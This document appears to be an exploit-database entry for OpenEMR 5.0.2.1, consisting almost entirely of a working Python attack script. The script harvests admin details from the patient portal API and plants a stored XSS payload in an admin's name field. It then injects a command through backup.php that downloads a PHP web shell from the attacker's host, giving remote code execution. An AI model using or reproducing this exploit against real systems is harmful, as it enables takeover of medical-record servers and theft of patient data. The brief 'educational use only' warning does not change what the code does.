OpenEMR 5.0.2.1 - Remote Code Execution (RCE)

2021.07.17
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

|=========================================================================== | # Exploit Title : OpenEMR 5.0.2.1 - Remote Code Execution (RCE) | | # Author : Ali Seddigh | | # Category : Web Application | | # Software Link : https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.2.1/openemr-5.0.2.tar.gz/download | | # Vendor Homepage : https://www.open-emr.org/ | | # Tested on : [ Windows ~> 10 , Kali Linux ] | | # Version : 5.0.2.1 | | # Date : 2021-07-17 |=========================================================================== #!/usr/bin/python3 WARNING=''' ===================================== WARNING ===================================== Please do not use for illegal purposes. It's for educational use only. Please be on the good side. =================================================================================== ''' import argparse import http.server import socketserver import requests from termcolor import colored import json OPENEMR_DIR = "" RHOST = "127.0.0.1" RPORT = 80 VHOST = "" LHOST = "127.0.0.1" LPORT = 4444 WPORT = 8080 def main(): print(colored(WARNING, "red")) arguments() cookie1, cookie2 = init_session() jsonReceived, id = get_api(cookie1["OpenEMR"], cookie2["PortalOpenEMR"]) write_payload_js() write_wshell() send_xss(id,cookie1["OpenEMR"], cookie2["PortalOpenEMR"], jsonReceived) if len(VHOST) > 0 : print(colored("[+]", "green"),f'Your wshell is available at http://{VHOST}/{OPENEMR_DIR}interface/main/wshell.php?cmd=') else: print(colored("[+]", "green"),f'Your wshell is available at http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/main/wshell.php?cmd=') web_serv() def arguments(): parser = argparse.ArgumentParser(description='This exploit drop a web shell on an OpenEMR v5.0.2.1 CMS. At the end, GET the URL and run a netcat listener on the LHOST:LHPORT. You will be able to do a Remote Code Execution on this server.') parser.add_argument("-d", "--directory", dest='directory', nargs='?', help="Root directory OpenEMR CMS") parser.add_argument("-rh", "--rhost", dest='rhost', help="Remote server IP", required=True) parser.add_argument("-rp", "--rport", dest='rport', nargs='?', help="Remote server PORT", type=int) parser.add_argument("-vh", "--vhost", dest='vhost', nargs='?', help="Remote server DOMAIN_NAME") parser.add_argument("-lh", "--lhost", dest='lhost', help="Reverse shell IP", required=True) parser.add_argument("-lp", "--lport", dest='lport', help="Reverse shell PORT", type=int, required=True) parser.add_argument("-wp", "--wport", dest='wport', nargs='?', help="Web Server PORT", type=int) args = parser.parse_args() if(args.directory != None): global OPENEMR_DIR OPENEMR_DIR = str(args.directory) if OPENEMR_DIR[-1] != "/": OPENEMR_DIR += "/" if(args.rhost != None): global RHOST RHOST = str(args.rhost) if(args.rport != None): global RPORT RPORT = int(args.rport) if(args.vhost != None): global VHOST VHOST = str(args.vhost) if(args.lhost != None): global LHOST LHOST = str(args.lhost) if(args.lport != None): global LPORT LPORT = int(args.lport) if(args.wport != None): global WPORT WPORT = int(args.wport) def init_session(): r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}interface/login/login.php?site=default', headers={'host': VHOST}) if (r.status_code != 200): print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}') exit(1) else: print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie OpenEMR:{r.cookies["OpenEMR"]}') cookies = {"OpenEMR" : r.cookies["OpenEMR"]} r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/account/register.php', headers={'host': VHOST}, cookies=cookies) if (r.status_code != 200): print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}') exit(1) else: print(colored("[+]", "green"),f'Successfully set Session_Regsiter=true with cookie PortalOpenEMR:{r.cookies["PortalOpenEMR"]}') cookies2 = {"PortalOpenEMR": r.cookies["PortalOpenEMR"]} return (cookies, cookies2) def get_api(cookieEMR, cookiePortal): cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal} r = requests.get(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/users/', headers={'host': VHOST}, cookies=cookies) parsed_json = (json.loads(r.text)) for row in parsed_json['rows']: if row['authorized'] == str(1): print(colored("[+]", "green"),f'Find admin :') print(colored('\t[*]', 'yellow'), f'Id = {row["id"]}') print(colored('\t[*]', 'yellow'), f'Username = {row["username"]}') print(colored('\t[*]', 'yellow'), f'lname = {row["lname"]}') print(colored('\t[*]', 'yellow'), f'fname = {row["fname"]}') id = row['id'] json_to_return = row if (r.status_code != 200): print(colored("[-]", "red"),f'An error occured : {r.status_code} ==>\n{r.text}') exit(1) else: return (json_to_return, id) def write_payload_js(): payload = "var xmlHttp = new XMLHttpRequest();\n" payload += "var token = window.location.href;\n" if len(VHOST) > 0 : payload += "var mainUrl = 'http://{0}/{1}interface/main/tabs/main.php?token_main=';\n".format(VHOST, OPENEMR_DIR) payload += "var backUrl = 'http://{0}/{1}interface/main/backup.php';\n".format(VHOST,OPENEMR_DIR) else: payload += "var mainUrl = 'http://{0}:{1}/{2}interface/main/tabs/main.php?token_main=';\n".format(RHOST, RPORT, OPENEMR_DIR) payload += "var backUrl = 'http://{0}:{1}/{2}interface/main/backup.php';\n".format(RHOST, RPORT, OPENEMR_DIR) payload += "var cookieSet = 'OpenEMR=';\n\n" payload += "token = token.split('=')[1];\n\n" payload += "xmlHttp.open( 'GET', backUrl, false );\n" payload += "xmlHttp.send(null);\n\n" payload += "var response = xmlHttp.responseText;\n" payload += "var elemHTML = response.split(' ');\n" payload += "var csrf = '';\n\n\n" payload += "for(var i=0; i < elemHTML.length; i++)\n" payload += "{\n" payload += "\t if(elemHTML[i] == 'name=\"csrf_token_form\"')\n" payload += "\t {\n" payload += "\t\t csrf = elemHTML[i+1].split('=')[1].replace(/\"/g,'');\n" payload += "\t\t break;\n" payload += "\t }\n" payload += "}\n\n\n" payload += "var formData = new FormData();\n\n" payload += "formData.append('csrf_token_form', csrf);\n" payload += "formData.append('form_sel_lists[]', 'amendment_status');\n" payload += "formData.append('form_sel_layouts[]', '`wget http://{0}:{1}/wshell.php -O wshell.php;`');\n".format(LHOST,WPORT) payload += "formData.append('form_step', '102');\n" payload += "formData.append('form_status', '');\n\n" payload += "var request = new XMLHttpRequest();\n" payload += "request.open('POST', backUrl);\n" payload += "request.send(formData);\n" with open('payload.js','w') as fpayload: for line in payload: fpayload.write(line) fpayload.close() print(colored("[+]", "green"),f'Payload XSS written') def write_wshell(): with open('wshell.php','w') as fwshell: fwshell.write("<?php system($_GET['cmd']); ?>\n") fwshell.close() print(colored("[+]", "green"),f'Wshell written') def send_xss(id, cookieEMR, cookiePortal, jsonData): cookies = {"OpenEMR" : cookieEMR, "PortalOpenEMR": cookiePortal} jsonData["lname"] = "<script src='http://{0}:{1}/payload.js'> </script>".format(LHOST,WPORT) jsonData["cpoe"] = 1 jsonData["source"] = 1 jsonData.pop("id",None) data = json.dumps(jsonData, indent = 4) r = requests.put(f'http://{RHOST}:{RPORT}/{OPENEMR_DIR}portal/patient/api/user/{id}', headers={'host': VHOST}, cookies=cookies, data=data) print(colored("[+]", "green"),f'Stored XSS dropped') def web_serv(): Handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", WPORT), Handler) as httpd: print(colored("[+]", "green"),f'HTTP Simple Server running at localhost PORT {WPORT}') httpd.serve_forever() if __name__ == "__main__": main() |=========================================================================== | # Discovered By : Ali Triplex |===========================================================================


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